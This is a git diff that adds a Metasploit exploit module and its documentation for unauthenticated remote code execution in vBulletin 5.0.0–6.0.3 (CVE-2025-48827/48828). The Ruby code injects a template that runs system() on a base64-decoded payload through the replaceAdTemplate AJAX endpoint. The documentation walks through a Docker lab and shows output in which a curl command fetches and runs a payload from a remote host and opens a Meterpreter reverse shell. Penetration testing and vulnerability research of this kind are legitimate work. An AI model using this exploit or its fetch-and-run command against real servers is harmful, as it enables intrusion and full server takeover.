diff --git a/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
new file mode 100644
index 0000000000000..6f47e029b5715
--- /dev/null
+++ b/documentation/modules/exploit/multi/http/vbulletin_replace_ad_template_rce.md
@@ -0,0 +1,173 @@
+## Vulnerable Application
+
+This Metasploit module exploits a design flaw in vBulletin’s AJAX API handler and template
+rendering system, affecting **vBulletin 5.0.0 through 6.0.3** on **PHP 8.1+**.
+An unauthenticated attacker can invoke the protected `vB_Api_Ad::replaceAdTemplate()` method to inject a malicious template that calls
+`"system"("base64_decode"($_POST[]))`, then trigger execution via the `ajax/render/ad_` endpoint,
+yielding arbitrary code execution as the webserver user.
+
+> **Note:** vBulletin is commercial software and is **not** included here. You must obtain a licensed copy and extract it under `./upload/`.
+
+---
+
+## To replicate vulnerable environments
+
+1. **vBulletin 6.0.1 (tested)**
+
+ * Purchase and download vBulletin 6.0.1 from the official portal.
+ * Extract all files into `./upload/`.
+
+2. **Other versions (5.0.0–6.0.3)**
+
+ * Repeat the above with any of the supported versions.
+ * Ensure you run on PHP 8.1+; earlier PHP versions do not expose this flaw.
+
+---
+
+## Docker Compose Configuration
+
+```yaml
+services:
+ db:
+ image: mysql:5.7
+ container_name: vbulletin_db
+ restart: unless-stopped
+ environment:
+ MYSQL_ROOT_PASSWORD: root_password_here
+ MYSQL_DATABASE: vbulletin
+ MYSQL_USER: vbulletin
+ MYSQL_PASSWORD: vb_password_here
+ volumes:
+ - db_data:/var/lib/mysql
+
+ web:
+ build: .
+ container_name: vbulletin_web
+ depends_on: [db]
+ ports: ["8888:80"]
+ environment:
+ VB_DB_HOST: db
+ VB_DB_NAME: vbulletin
+ VB_DB_USER: vbulletin
+ VB_DB_PASS: vb_password_here
+
+volumes:
+ db_data:
+```
+
+Create the following **Dockerfile** and **docker-entrypoint.sh** in the same directory:
+
+**Dockerfile**
+
+```dockerfile
+FROM php:8.1-apache
+
+COPY upload/ /var/www/html/
+
+RUN apt-get update && \
+ apt-get install -y --no-install-recommends \
+ libzip-dev zlib1g-dev libonig-dev \
+ libpng-dev libjpeg-dev libfreetype6-dev && \
+ docker-php-ext-install \
+ zip mysqli pdo_mysql gd mbstring && \
+ a2enmod rewrite && \
+ rm -rf /var/lib/apt/lists/*
+
+RUN echo "phar.readonly=Off" > /usr/local/etc/php/conf.d/vbulletin.ini
+
+COPY --chmod 755 docker-entrypoint.sh /usr/local/bin/
+ENTRYPOINT ["docker-entrypoint.sh"]
+CMD ["apache2-foreground"]
+```
+
+**docker-entrypoint.sh**
+
+```bash
+#!/bin/bash
+chown -R www-data:www-data /var/www/html
+exec "$@"
+```
+
+---
+
+## Verification Steps
+
+1. **Start the environment**
+```bash
+docker-compose up -d
+```
+
+2. **Install vBulletin**
+Open [http://localhost:8888](http://localhost:8888) and complete the installation:
+
+* **Database Host:** db
+* **DB Name:** vbulletin
+* **DB User:** vbulletin
+* **DB Password:** vb_password_here
+
+3. **Run `msfconsole`**
+
+```bash
+use exploit/multi/http/vbulletin_replace_ad_template_rce
+set RHOSTS 127.0.0.1
+set RPORT 8888
+set TARGETURI /
+check
+```
+
+---
+
+## Options
+
+No option
+
+---
+
+## Scenarios
+
+### Unauthenticated Pre-Auth RCE
+
+1. Ensure vBulletin 5.0.0–6.0.3 is installed and running on PHP 8.1+.
+2. In `msfconsole`, configure and run:
+
+```bash
+set RHOSTS localhost
+set RPORT 8888
+set TARGETURI /
+```
+
+---
+
+## Expected Results
+
+### With `cmd/linux/http/x64/meterpreter/reverse_tcp`
+
+```plaintext
+msf6 exploit(multi/http/vbulletin_replace_ad_template_rce) > run http://lab:8888
+[*] Command to run on remote host: curl -so ./BGZuzbsi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA;chmod +x ./BGZuzbsi;./BGZuzbsi&
+[*] Fetch handler listening on 192.168.1.36:8080
+[*] HTTP server started
+[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
+[*] Started reverse TCP handler on 192.168.1.36:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Starting vulnerability check on 127.0.0.1:8888/
+[*] Generating random marker and condition for mode check
+[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=QuFcp)
+[*] Injection response: HTTP 200
+[+] Marker found in injection response body
+[+] The target is vulnerable.
+[*] Generating random marker and condition for mode exploit
+[*] Sending POST to ajax/api/ad/replaceAdTemplate (location=XSGFS)
+[*] Client 172.28.0.3 requested /LoPlnjEpeOexZNVppn6cAA
+[*] Sending payload to 172.28.0.3 (curl/7.88.1)
+[*] Transmitting intermediate stager...(126 bytes)
+[*] Sending stage (3045380 bytes) to 172.28.0.3
+[*] Meterpreter session 8 opened (192.168.1.36:4444 -> 172.28.0.3:53014) at 2025-05-29 16:27:00 +0200
+
+meterpreter > sysinfo
+Computer : 172.28.0.3
+OS : Debian 12.11 (Linux 6.14.8-2-cachyos)
+Architecture : x64
+BuildTuple : x86_64-linux-musl
+Meterpreter : x64/linux
+```
diff --git a/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb b/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
new file mode 100644
index 0000000000000..888c3a3def909
--- /dev/null
+++ b/modules/exploits/multi/http/vbulletin_replace_ad_template_rce.rb
@@ -0,0 +1,143 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+ Rank = ExcellentRanking
+
+ include Msf::Exploit::Remote::HttpClient
+ prepend Msf::Exploit::Remote::AutoCheck
+
+ def initialize(info = {})
+ super(
+ update_info(
+ info,
+ 'Name' => 'vBulletin replaceAdTemplate Remote Code Execution',
+ 'Description' => %q{
+ This module exploits a design flaw in vBulletin's AJAX API handler and template rendering system,
+ present in versions 5.0.0 through 6.0.3. The vulnerability allows unauthenticated attackers
+ to invoke protected controller methods via the ajax/api/ad/replaceAdTemplate endpoint,
+ due to improper use of PHP's Reflection API in combination with changes in PHP 8.1+.
+
+ Specifically, it targets the vB_Api_Ad::replaceAdTemplate() method to inject a template
+ containing a conditional that evaluates attacker-supplied PHP using the
+ "system"($_POST[]) construct. The malicious template is then executed via
+ a second unauthenticated request to ajax/render/ad_.
+
+ Successful exploitation results in arbitrary command execution as the webserver user,
+ without authentication. This module supports payloads for PHP, Linux, and Windows.
+
+ Tested against vBulletin 5.1.0, 5.7.5, 6.0.1, and 6.0.3 running on PHP 8.1.
+ },
+ 'Author' => [
+ 'Egidio Romano (EgiX)', # original PoC
+ 'Valentin Lobstein' # Metasploit module
+ ],
+ 'References' => [
+ ['URL', 'https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce'],
+ ['CVE', '2025-48827'],
+ ['CVE', '2025-48828']
+ ],
+ 'License' => MSF_LICENSE,
+ 'Platform' => %w[unix linux windows],
+ 'Arch' => [ARCH_CMD],
+ 'Targets' => [
+ [
+ 'Unix/Linux Command Shell',
+ {
+ 'Platform' => %w[unix linux],
+ 'Arch' => ARCH_CMD
+ # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+ }
+ ],
+ [
+ 'Windows Command Shell',
+ {
+ 'Platform' => 'win',
+ 'Arch' => ARCH_CMD
+ # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
+ }
+ ],
+ ],
+ 'DefaultTarget' => 0,
+ 'DisclosureDate' => '2025-05-23',
+ 'Notes' => {
+ 'Stability' => [CRASH_SAFE],
+ 'Reliability' => [REPEATABLE_SESSION],
+ 'SideEffects' => [IOC_IN_LOGS]
+ }
+ )
+ )
+ end
+
+ def check
+ vprint_status("Starting vulnerability check on #{rhost}:#{rport}#{target_uri.path}")
+ inject_and_trigger(:check) ? CheckCode::Vulnerable : CheckCode::Safe
+ end
+
+ def exploit
+ inject_and_trigger(:exploit, payload: payload.encoded)
+ end
+
+ def inject_and_trigger(mode, payload: nil)
+ marker, location, param = Array.new(3) { Rex::Text.rand_text_alpha(5, 8) }
+ pattern = /string\(#{marker.length}\) "#{marker}"/
+
+ vprint_status("Generating random marker and condition for mode #{mode}")
+ if mode == :check
+ condition = %{"var_dump"("#{marker}")}
+ trigger_value = Rex::Text.encode_base64(marker)
+ else
+ encoded_payload = Rex::Text.encode_base64(payload)
+ # Sadly we can't use `eval()` here as it's a language construct and we need a proper function.
+ condition = %{"system"("base64_decode"("#{encoded_payload}"))}
+ end
+
+ template = ""
+
+ vprint_status("Sending POST to ajax/api/ad/replaceAdTemplate (location=#{location})")
+ inj = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'vars_post' => {
+ 'routestring' => 'ajax/api/ad/replaceAdTemplate',
+ 'styleid' => '1', # Can't randomize this value
+ 'location' => location,
+ 'template' => template
+ }
+ )
+
+ if mode == :check
+ return true if handle_check_response(inj, pattern, 'injection')
+
+ render_vars = { 'routestring' => "ajax/render/ad_#{location}" }
+ render_vars[param] = trigger_value
+
+ vprint_status("Sending POST to ajax/render/ad_#{location} to trigger execution")
+ render = send_request_cgi(
+ 'method' => 'POST',
+ 'uri' => normalize_uri(target_uri.path),
+ 'vars_post' => render_vars
+ )
+ return handle_check_response(render, pattern, 'trigger')
+ end
+
+ true
+ end
+
+ def handle_check_response(response, pattern, stage)
+ vprint_status("#{stage.capitalize} response: HTTP #{response&.code}")
+ unless response&.code == 200
+ vprint_error("#{stage.capitalize} request failed (HTTP #{response&.code || 'nil'})")
+ return false
+ end
+ if response.body.match?(pattern)
+ vprint_good("Marker found in #{stage} response body")
+ true
+ else
+ vprint_error("Marker not found in #{stage} response body")
+ false
+ end
+ end
+end